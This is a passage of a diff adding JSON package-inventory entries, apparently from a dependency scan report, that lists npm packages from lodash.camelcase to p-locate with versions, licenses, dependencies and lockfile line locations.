+ "StartLine": 6800,
+ "EndLine": 6805
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lodash.camelcase@4.3.0",
+ "Name": "lodash.camelcase",
+ "Identifier": {
+ "PURL": "pkg:npm/lodash.camelcase@4.3.0",
+ "UID": "66f5ff87471fe75b"
+ },
+ "Version": "4.3.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6806,
+ "EndLine": 6812
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lodash.clonedeep@4.5.0",
+ "Name": "lodash.clonedeep",
+ "Identifier": {
+ "PURL": "pkg:npm/lodash.clonedeep@4.5.0",
+ "UID": "54115aef20a16f33"
+ },
+ "Version": "4.5.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6813,
+ "EndLine": 6818
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lodash.defaults@4.2.0",
+ "Name": "lodash.defaults",
+ "Identifier": {
+ "PURL": "pkg:npm/lodash.defaults@4.2.0",
+ "UID": "ca34b64d6d72406e"
+ },
+ "Version": "4.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6819,
+ "EndLine": 6824
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lodash.includes@4.3.0",
+ "Name": "lodash.includes",
+ "Identifier": {
+ "PURL": "pkg:npm/lodash.includes@4.3.0",
+ "UID": "29242fdb16188852"
+ },
+ "Version": "4.3.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6825,
+ "EndLine": 6830
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lodash.isarguments@3.1.0",
+ "Name": "lodash.isarguments",
+ "Identifier": {
+ "PURL": "pkg:npm/lodash.isarguments@3.1.0",
+ "UID": "38f783522d5fc767"
+ },
+ "Version": "3.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6831,
+ "EndLine": 6836
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lodash.isboolean@3.0.3",
+ "Name": "lodash.isboolean",
+ "Identifier": {
+ "PURL": "pkg:npm/lodash.isboolean@3.0.3",
+ "UID": "515bf8ad074c5b62"
+ },
+ "Version": "3.0.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6837,
+ "EndLine": 6842
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lodash.isinteger@4.0.4",
+ "Name": "lodash.isinteger",
+ "Identifier": {
+ "PURL": "pkg:npm/lodash.isinteger@4.0.4",
+ "UID": "81d1dc406769dde8"
+ },
+ "Version": "4.0.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6843,
+ "EndLine": 6848
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lodash.isnumber@3.0.3",
+ "Name": "lodash.isnumber",
+ "Identifier": {
+ "PURL": "pkg:npm/lodash.isnumber@3.0.3",
+ "UID": "3cfb9ab4cffd163b"
+ },
+ "Version": "3.0.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6849,
+ "EndLine": 6854
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lodash.isplainobject@4.0.6",
+ "Name": "lodash.isplainobject",
+ "Identifier": {
+ "PURL": "pkg:npm/lodash.isplainobject@4.0.6",
+ "UID": "cae6c5d960e21df3"
+ },
+ "Version": "4.0.6",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6855,
+ "EndLine": 6860
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lodash.isstring@4.0.1",
+ "Name": "lodash.isstring",
+ "Identifier": {
+ "PURL": "pkg:npm/lodash.isstring@4.0.1",
+ "UID": "226247c14ca6603f"
+ },
+ "Version": "4.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6861,
+ "EndLine": 6866
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lodash.once@4.1.1",
+ "Name": "lodash.once",
+ "Identifier": {
+ "PURL": "pkg:npm/lodash.once@4.1.1",
+ "UID": "93c8d8e5ad4a4615"
+ },
+ "Version": "4.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6874,
+ "EndLine": 6879
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "long@5.3.2",
+ "Name": "long",
+ "Identifier": {
+ "PURL": "pkg:npm/long@5.3.2",
+ "UID": "3813befd6d718426"
+ },
+ "Version": "5.3.2",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6880,
+ "EndLine": 6886
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "loose-envify@1.4.0",
+ "Name": "loose-envify",
+ "Identifier": {
+ "PURL": "pkg:npm/loose-envify@1.4.0",
+ "UID": "27bc2cb119e18028"
+ },
+ "Version": "1.4.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "js-tokens@4.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6887,
+ "EndLine": 6898
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lru-cache@10.4.3",
+ "Name": "lru-cache",
+ "Identifier": {
+ "PURL": "pkg:npm/lru-cache@10.4.3",
+ "UID": "7e6ea77379e69add"
+ },
+ "Version": "10.4.3",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7734,
+ "EndLine": 7739
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lru-cache@6.0.0",
+ "Name": "lru-cache",
+ "Identifier": {
+ "PURL": "pkg:npm/lru-cache@6.0.0",
+ "UID": "6c25c3fc6ed4e03d"
+ },
+ "Version": "6.0.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "yallist@4.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6909,
+ "EndLine": 6920
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lru-memoizer@2.3.0",
+ "Name": "lru-memoizer",
+ "Identifier": {
+ "PURL": "pkg:npm/lru-memoizer@2.3.0",
+ "UID": "1961c4bb7939f12d"
+ },
+ "Version": "2.3.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "lodash.clonedeep@4.5.0",
+ "lru-cache@6.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6921,
+ "EndLine": 6930
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "lucide-react@0.376.0",
+ "Name": "lucide-react",
+ "Identifier": {
+ "PURL": "pkg:npm/lucide-react@0.376.0",
+ "UID": "33a24d87ccac7686"
+ },
+ "Version": "0.376.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "react@18.3.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 6931,
+ "EndLine": 6939
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "math-intrinsics@1.1.0",
+ "Name": "math-intrinsics",
+ "Identifier": {
+ "PURL": "pkg:npm/math-intrinsics@1.1.0",
+ "UID": "e552eccbea809738"
+ },
+ "Version": "1.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6957,
+ "EndLine": 6965
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "media-engine@1.0.3",
+ "Name": "media-engine",
+ "Identifier": {
+ "PURL": "pkg:npm/media-engine@1.0.3",
+ "UID": "309dde0880831b39"
+ },
+ "Version": "1.0.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6966,
+ "EndLine": 6971
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "media-typer@0.3.0",
+ "Name": "media-typer",
+ "Identifier": {
+ "PURL": "pkg:npm/media-typer@0.3.0",
+ "UID": "68b1b3bdc3191ee3"
+ },
+ "Version": "0.3.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6972,
+ "EndLine": 6980
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "merge-descriptors@1.0.3",
+ "Name": "merge-descriptors",
+ "Identifier": {
+ "PURL": "pkg:npm/merge-descriptors@1.0.3",
+ "UID": "3b172e25f3915e11"
+ },
+ "Version": "1.0.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6981,
+ "EndLine": 6989
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "merge2@1.4.1",
+ "Name": "merge2",
+ "Identifier": {
+ "PURL": "pkg:npm/merge2@1.4.1",
+ "UID": "d22b40fc0e8fcf2f"
+ },
+ "Version": "1.4.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 6997,
+ "EndLine": 7005
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "methods@1.1.2",
+ "Name": "methods",
+ "Identifier": {
+ "PURL": "pkg:npm/methods@1.1.2",
+ "UID": "a4b3aed0fbd199ca"
+ },
+ "Version": "1.1.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7006,
+ "EndLine": 7014
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "micromatch@4.0.8",
+ "Name": "micromatch",
+ "Identifier": {
+ "PURL": "pkg:npm/micromatch@4.0.8",
+ "UID": "45ab8bbdff0a2a4f"
+ },
+ "Version": "4.0.8",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "braces@3.0.3",
+ "picomatch@2.3.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7015,
+ "EndLine": 7027
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "mime@1.6.0",
+ "Name": "mime",
+ "Identifier": {
+ "PURL": "pkg:npm/mime@1.6.0",
+ "UID": "2f68fb882478deb1"
+ },
+ "Version": "1.6.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 8864,
+ "EndLine": 8875
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "mime@3.0.0",
+ "Name": "mime",
+ "Identifier": {
+ "PURL": "pkg:npm/mime@3.0.0",
+ "UID": "b289121a87dd63b5"
+ },
+ "Version": "3.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7028,
+ "EndLine": 7040
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "mime-db@1.52.0",
+ "Name": "mime-db",
+ "Identifier": {
+ "PURL": "pkg:npm/mime-db@1.52.0",
+ "UID": "75fe89a9f41cef7a"
+ },
+ "Version": "1.52.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7041,
+ "EndLine": 7049
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "mime-types@2.1.35",
+ "Name": "mime-types",
+ "Identifier": {
+ "PURL": "pkg:npm/mime-types@2.1.35",
+ "UID": "16b15d4c7031473b"
+ },
+ "Version": "2.1.35",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "mime-db@1.52.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7050,
+ "EndLine": 7061
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "minimatch@9.0.9",
+ "Name": "minimatch",
+ "Identifier": {
+ "PURL": "pkg:npm/minimatch@9.0.9",
+ "UID": "bb2acce8069d2075"
+ },
+ "Version": "9.0.9",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "brace-expansion@2.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 4762,
+ "EndLine": 4776
+ },
+ {
+ "StartLine": 6553,
+ "EndLine": 6567
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "minimist@1.2.8",
+ "Name": "minimist",
+ "Identifier": {
+ "PURL": "pkg:npm/minimist@1.2.8",
+ "UID": "eee717e6227aaa43"
+ },
+ "Version": "1.2.8",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7088,
+ "EndLine": 7096
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "minipass@7.1.3",
+ "Name": "minipass",
+ "Identifier": {
+ "PURL": "pkg:npm/minipass@7.1.3",
+ "UID": "7848ca63fd2d06e5"
+ },
+ "Version": "7.1.3",
+ "Licenses": [
+ "BlueOak-1.0.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7097,
+ "EndLine": 7105
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "mkdirp@0.5.6",
+ "Name": "mkdirp",
+ "Identifier": {
+ "PURL": "pkg:npm/mkdirp@0.5.6",
+ "UID": "95afa5e2512f2c68"
+ },
+ "Version": "0.5.6",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "minimist@1.2.8"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7106,
+ "EndLine": 7117
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "morgan@1.10.1",
+ "Name": "morgan",
+ "Identifier": {
+ "PURL": "pkg:npm/morgan@1.10.1",
+ "UID": "eb2ec93f106e38e3"
+ },
+ "Version": "1.10.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "basic-auth@2.0.1",
+ "debug@2.6.9",
+ "depd@2.0.0",
+ "on-finished@2.3.0",
+ "on-headers@1.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7138,
+ "EndLine": 7153
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "ms@2.0.0",
+ "Name": "ms",
+ "Identifier": {
+ "PURL": "pkg:npm/ms@2.0.0",
+ "UID": "355f8f0ad80281ff"
+ },
+ "Version": "2.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 3730,
+ "EndLine": 3735
+ },
+ {
+ "StartLine": 5304,
+ "EndLine": 5309
+ },
+ {
+ "StartLine": 5507,
+ "EndLine": 5512
+ },
+ {
+ "StartLine": 7163,
+ "EndLine": 7168
+ },
+ {
+ "StartLine": 8858,
+ "EndLine": 8863
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "ms@2.1.3",
+ "Name": "ms",
+ "Identifier": {
+ "PURL": "pkg:npm/ms@2.1.3",
+ "UID": "fc70816a322bbbce"
+ },
+ "Version": "2.1.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7181,
+ "EndLine": 7186
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "multer@1.4.5-lts.2",
+ "Name": "multer",
+ "Identifier": {
+ "PURL": "pkg:npm/multer@1.4.5-lts.2",
+ "UID": "9de8074040ba33ce"
+ },
+ "Version": "1.4.5-lts.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "append-field@1.0.0",
+ "busboy@1.6.0",
+ "concat-stream@1.6.2",
+ "mkdirp@0.5.6",
+ "object-assign@4.1.1",
+ "type-is@1.6.18",
+ "xtend@4.0.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7187,
+ "EndLine": 7205
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "mz@2.7.0",
+ "Name": "mz",
+ "Identifier": {
+ "PURL": "pkg:npm/mz@2.7.0",
+ "UID": "997b882c580d717e"
+ },
+ "Version": "2.7.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "any-promise@1.3.0",
+ "object-assign@4.1.1",
+ "thenify-all@1.6.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7206,
+ "EndLine": 7216
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "nanoid@3.3.11",
+ "Name": "nanoid",
+ "Identifier": {
+ "PURL": "pkg:npm/nanoid@3.3.11",
+ "UID": "a9f52f741169f2d2"
+ },
+ "Version": "3.3.11",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7217,
+ "EndLine": 7234
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "negotiator@0.6.3",
+ "Name": "negotiator",
+ "Identifier": {
+ "PURL": "pkg:npm/negotiator@0.6.3",
+ "UID": "15732bdeb7800824"
+ },
+ "Version": "0.6.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7242,
+ "EndLine": 7250
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "next@14.2.3",
+ "Name": "next",
+ "Identifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "Version": "14.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@next/env@14.2.3",
+ "@next/swc-darwin-arm64@14.2.3",
+ "@next/swc-darwin-x64@14.2.3",
+ "@next/swc-linux-arm64-gnu@14.2.3",
+ "@next/swc-linux-arm64-musl@14.2.3",
+ "@next/swc-linux-x64-gnu@14.2.3",
+ "@next/swc-linux-x64-musl@14.2.3",
+ "@next/swc-win32-arm64-msvc@14.2.3",
+ "@next/swc-win32-ia32-msvc@14.2.3",
+ "@next/swc-win32-x64-msvc@14.2.3",
+ "@opentelemetry/api@1.9.1",
+ "@swc/helpers@0.5.5",
+ "busboy@1.6.0",
+ "caniuse-lite@1.0.30001791",
+ "graceful-fs@4.2.11",
+ "postcss@8.4.31",
+ "react-dom@18.3.1",
+ "react@18.3.1",
+ "styled-jsx@5.1.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7251,
+ "EndLine": 7301
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "node-cron@3.0.3",
+ "Name": "node-cron",
+ "Identifier": {
+ "PURL": "pkg:npm/node-cron@3.0.3",
+ "UID": "a562da4bae8a63e3"
+ },
+ "Version": "3.0.3",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "uuid@8.3.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7340,
+ "EndLine": 7351
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "node-fetch@2.7.0",
+ "Name": "node-fetch",
+ "Identifier": {
+ "PURL": "pkg:npm/node-fetch@2.7.0",
+ "UID": "11fe02f85ab0d5c1"
+ },
+ "Version": "2.7.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "whatwg-url@5.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7362,
+ "EndLine": 7381
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "node-forge@1.4.0",
+ "Name": "node-forge",
+ "Identifier": {
+ "PURL": "pkg:npm/node-forge@1.4.0",
+ "UID": "5945ab4d4d02174d"
+ },
+ "Version": "1.4.0",
+ "Licenses": [
+ "(BSD-3-Clause OR GPL-2.0)"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7382,
+ "EndLine": 7390
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "node-releases@2.0.38",
+ "Name": "node-releases",
+ "Identifier": {
+ "PURL": "pkg:npm/node-releases@2.0.38",
+ "UID": "dfb5d4dcddd86c71"
+ },
+ "Version": "2.0.38",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7391,
+ "EndLine": 7396
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "nodemailer@6.10.1",
+ "Name": "nodemailer",
+ "Identifier": {
+ "PURL": "pkg:npm/nodemailer@6.10.1",
+ "UID": "cdb0ca30dd5d0b41"
+ },
+ "Version": "6.10.1",
+ "Licenses": [
+ "MIT-0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7397,
+ "EndLine": 7405
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "nopt@7.2.1",
+ "Name": "nopt",
+ "Identifier": {
+ "PURL": "pkg:npm/nopt@7.2.1",
+ "UID": "d76967a27786d4d5"
+ },
+ "Version": "7.2.1",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "abbrev@2.0.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7406,
+ "EndLine": 7420
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "normalize-path@3.0.0",
+ "Name": "normalize-path",
+ "Identifier": {
+ "PURL": "pkg:npm/normalize-path@3.0.0",
+ "UID": "47ef5c57a1d31733"
+ },
+ "Version": "3.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7421,
+ "EndLine": 7429
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "normalize-svg-path@1.1.0",
+ "Name": "normalize-svg-path",
+ "Identifier": {
+ "PURL": "pkg:npm/normalize-svg-path@1.1.0",
+ "UID": "6f54a8e290bd072c"
+ },
+ "Version": "1.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "svg-arc-to-cubic-bezier@3.2.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7430,
+ "EndLine": 7438
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "object-assign@4.1.1",
+ "Name": "object-assign",
+ "Identifier": {
+ "PURL": "pkg:npm/object-assign@4.1.1",
+ "UID": "72c6ace6c5b60745"
+ },
+ "Version": "4.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7468,
+ "EndLine": 7476
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "object-hash@3.0.0",
+ "Name": "object-hash",
+ "Identifier": {
+ "PURL": "pkg:npm/object-hash@3.0.0",
+ "UID": "6fdabdc5361e64ef"
+ },
+ "Version": "3.0.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7477,
+ "EndLine": 7485
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "object-inspect@1.13.4",
+ "Name": "object-inspect",
+ "Identifier": {
+ "PURL": "pkg:npm/object-inspect@1.13.4",
+ "UID": "5468df4f8353771e"
+ },
+ "Version": "1.13.4",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7486,
+ "EndLine": 7497
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "on-finished@2.3.0",
+ "Name": "on-finished",
+ "Identifier": {
+ "PURL": "pkg:npm/on-finished@2.3.0",
+ "UID": "c4e1a68272dda53e"
+ },
+ "Version": "2.3.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "ee-first@1.1.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7169,
+ "EndLine": 7180
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "on-finished@2.4.1",
+ "Name": "on-finished",
+ "Identifier": {
+ "PURL": "pkg:npm/on-finished@2.4.1",
+ "UID": "711ceabe8e4310df"
+ },
+ "Version": "2.4.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "ee-first@1.1.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7498,
+ "EndLine": 7509
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "on-headers@1.1.0",
+ "Name": "on-headers",
+ "Identifier": {
+ "PURL": "pkg:npm/on-headers@1.1.0",
+ "UID": "bba55f9642068dee"
+ },
+ "Version": "1.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 7510,
+ "EndLine": 7518
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "once@1.4.0",
+ "Name": "once",
+ "Identifier": {
+ "PURL": "pkg:npm/once@1.4.0",
+ "UID": "817fbef84079c0c7"
+ },
+ "Version": "1.4.0",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "wrappy@1.0.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7519,
+ "EndLine": 7528
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "otplib@12.0.1",
+ "Name": "otplib",
+ "Identifier": {
+ "PURL": "pkg:npm/otplib@12.0.1",
+ "UID": "692ad1e65cdad42c"
+ },
+ "Version": "12.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@otplib/core@12.0.1",
+ "@otplib/preset-default@12.0.1",
+ "@otplib/preset-v11@12.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7563,
+ "EndLine": 7573
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "p-limit@2.3.0",
+ "Name": "p-limit",
+ "Identifier": {
+ "PURL": "pkg:npm/p-limit@2.3.0",
+ "UID": "ffbfa2fb2bf2962b"
+ },
+ "Version": "2.3.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "p-try@2.2.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 8227,
+ "EndLine": 8241
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "p-limit@3.1.0",
+ "Name": "p-limit",
+ "Identifier": {
+ "PURL": "pkg:npm/p-limit@3.1.0",
+ "UID": "53c1f9caa5d04708"
+ },
+ "Version": "3.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "yocto-queue@0.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 7574,
+ "EndLine": 7589
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "p-locate@4.1.0",
+ "Name": "p-locate",
+ "Identifier": {
+ "PURL": "pkg:npm/p-locate@4.1.0",
+ "UID": "25a915e04bd4fbc2"
+ },
+ "Version": "4.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
